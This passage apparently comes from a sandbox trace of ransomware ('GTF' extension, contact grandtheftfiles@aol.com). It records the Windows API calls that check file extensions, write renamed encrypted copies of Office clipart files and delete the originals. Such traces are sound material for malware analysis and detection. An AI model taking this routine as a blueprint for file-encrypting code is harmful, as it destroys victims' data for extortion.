	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString=".1cd") returned 4
	[0080.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString=".jpg") returned 4
	[0080.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.605] lstrlenW (lpString=".doc") returned 4
	[0080.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString=".docx") returned 5
	[0080.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.606] lstrlenW (lpString=".pdf") returned 4
	[0080.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString=".xls") returned 4
	[0080.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.606] lstrlenW (lpString=".xlsx") returned 5
	[0080.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.606] lstrlenW (lpString=".ppt") returned 4
	[0080.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.606] lstrlenW (lpString=".zip") returned 4
	[0080.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.606] lstrlenW (lpString=".rar") returned 4
	[0080.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString=".bz2") returned 4
	[0080.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString=".7z") returned 3
	[0080.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.606] lstrlenW (lpString=".dbf") returned 4
	[0080.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.606] lstrlenW (lpString=".1cd") returned 4
	[0080.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0080.606] lstrlenW (lpString=".jpg") returned 4
	[0080.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.606] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.606] lstrlenW (lpString="AN01084_.WMF") returned 12
	[0080.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.607] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1832) returned 1
	[0080.607] CloseHandle (hObject=0x340) returned 1
	[0080.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220
	[0080.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.607] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.607] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.607] GetLastError () returned 0x0
	[0080.607] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x728, lpOverlapped=0x0) returned 1
	[0080.609] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x730, lpOverlapped=0x0) returned 1
	[0080.610] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.610] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.610] SetEndOfFile (hFile=0x388) returned 1
	[0080.610] CloseHandle (hObject=0x388) returned 1
	[0080.611] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.611] SetEndOfFile (hFile=0x340) returned 1
	[0080.612] CloseHandle (hObject=0x340) returned 1
	[0080.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString=".doc") returned 4
	[0080.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString=".docx") returned 5
	[0080.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.613] lstrlenW (lpString=".pdf") returned 4
	[0080.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString=".xls") returned 4
	[0080.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.613] lstrlenW (lpString=".xlsx") returned 5
	[0080.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.613] lstrlenW (lpString=".ppt") returned 4
	[0080.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString=".zip") returned 4
	[0080.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.613] lstrlenW (lpString=".rar") returned 4
	[0080.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString=".bz2") returned 4
	[0080.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString=".7z") returned 3
	[0080.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString=".dbf") returned 4
	[0080.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString=".1cd") returned 4
	[0080.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString=".jpg") returned 4
	[0080.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.613] lstrlenW (lpString=".doc") returned 4
	[0080.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString=".docx") returned 5
	[0080.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.614] lstrlenW (lpString=".pdf") returned 4
	[0080.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString=".xls") returned 4
	[0080.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.614] lstrlenW (lpString=".xlsx") returned 5
	[0080.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.614] lstrlenW (lpString=".ppt") returned 4
	[0080.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.614] lstrlenW (lpString=".zip") returned 4
	[0080.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.614] lstrlenW (lpString=".rar") returned 4
	[0080.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString=".bz2") returned 4
	[0080.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString=".7z") returned 3
	[0080.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.614] lstrlenW (lpString=".dbf") returned 4
	[0080.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.614] lstrlenW (lpString=".1cd") returned 4
	[0080.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0080.614] lstrlenW (lpString=".jpg") returned 4
	[0080.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.615] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.615] lstrlenW (lpString="AN01173_.WMF") returned 12
	[0080.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0081.029] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=26332) returned 1
	[0081.029] CloseHandle (hObject=0x388) returned 1
	[0081.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220
	[0081.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0081.029] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.029] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0081.033] GetLastError () returned 0x0
	[0081.033] ReadFile (in: hFile=0x388, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x66dc, lpOverlapped=0x0) returned 1
	[0081.041] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x66e0, lpOverlapped=0x0) returned 1
	[0081.042] ReadFile (in: hFile=0x388, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.042] WriteFile (in: hFile=0x340, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.042] SetEndOfFile (hFile=0x340) returned 1
	[0081.042] CloseHandle (hObject=0x340) returned 1
	[0081.044] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.044] SetEndOfFile (hFile=0x388) returned 1
	[0081.045] CloseHandle (hObject=0x388) returned 1
	[0081.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1
	[0081.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.045] lstrlenW (lpString=".doc") returned 4
	[0081.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.045] lstrlenW (lpString=".docx") returned 5
	[0081.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.045] lstrlenW (lpString=".pdf") returned 4
	[0081.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.045] lstrlenW (lpString=".xls") returned 4
	[0081.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.046] lstrlenW (lpString=".xlsx") returned 5
	[0081.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.046] lstrlenW (lpString=".ppt") returned 4
	[0081.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.046] lstrlenW (lpString=".zip") returned 4
	[0081.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.046] lstrlenW (lpString=".rar") returned 4
	[0081.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString=".bz2") returned 4
	[0081.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString=".7z") returned 3
	[0081.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.046] lstrlenW (lpString=".dbf") returned 4
	[0081.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.046] lstrlenW (lpString=".1cd") returned 4
	[0081.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.046] lstrlenW (lpString=".jpg") returned 4
	[0081.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.046] lstrlenW (lpString=".doc") returned 4
	[0081.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString=".docx") returned 5
	[0081.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.046] lstrlenW (lpString=".pdf") returned 4
	[0081.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.046] lstrlenW (lpString=".xls") returned 4
	[0081.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.046] lstrlenW (lpString=".xlsx") returned 5
	[0081.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.047] lstrlenW (lpString=".ppt") returned 4
	[0081.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.047] lstrlenW (lpString=".zip") returned 4
	[0081.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.047] lstrlenW (lpString=".rar") returned 4
	[0081.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.047] lstrlenW (lpString=".bz2") returned 4
	[0081.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.047] lstrlenW (lpString=".7z") returned 3
	[0081.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.047] lstrlenW (lpString=".dbf") returned 4
	[0081.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.047] lstrlenW (lpString=".1cd") returned 4
	[0081.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0081.047] lstrlenW (lpString=".jpg") returned 4
	[0081.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.047] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.047] lstrlenW (lpString="AN02122_.WMF") returned 12
	[0081.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.070] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=7540) returned 1
	[0081.070] CloseHandle (hObject=0x390) returned 1
	[0081.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220
	[0081.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.070] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.070] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0081.079] GetLastError () returned 0x0
	[0081.079] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1d74, lpOverlapped=0x0) returned 1
	[0081.096] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1d80, lpOverlapped=0x0) returned 1
	[0081.097] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.097] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.097] SetEndOfFile (hFile=0x37c) returned 1
	[0081.097] CloseHandle (hObject=0x37c) returned 1
	[0081.102] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.102] SetEndOfFile (hFile=0x390) returned 1
	[0081.103] CloseHandle (hObject=0x390) returned 1
	[0081.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1
	[0081.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.104] lstrlenW (lpString=".doc") returned 4
	[0081.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.104] lstrlenW (lpString=".docx") returned 5
	[0081.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.104] lstrlenW (lpString=".pdf") returned 4
	[0081.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.104] lstrlenW (lpString=".xls") returned 4
	[0081.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.104] lstrlenW (lpString=".xlsx") returned 5
	[0081.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.104] lstrlenW (lpString=".ppt") returned 4
	[0081.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0081.104] lstrlenW (lpString=".zip") returned 4
	[0081.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.104] lstrlenW (lpString=".rar") returned 4
	[0081.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.104] lstrlenW (lpString=".bz2") returned 4
	[0081.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.104] lstrlenW (lpString=".7z") returned 3
	[0081.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
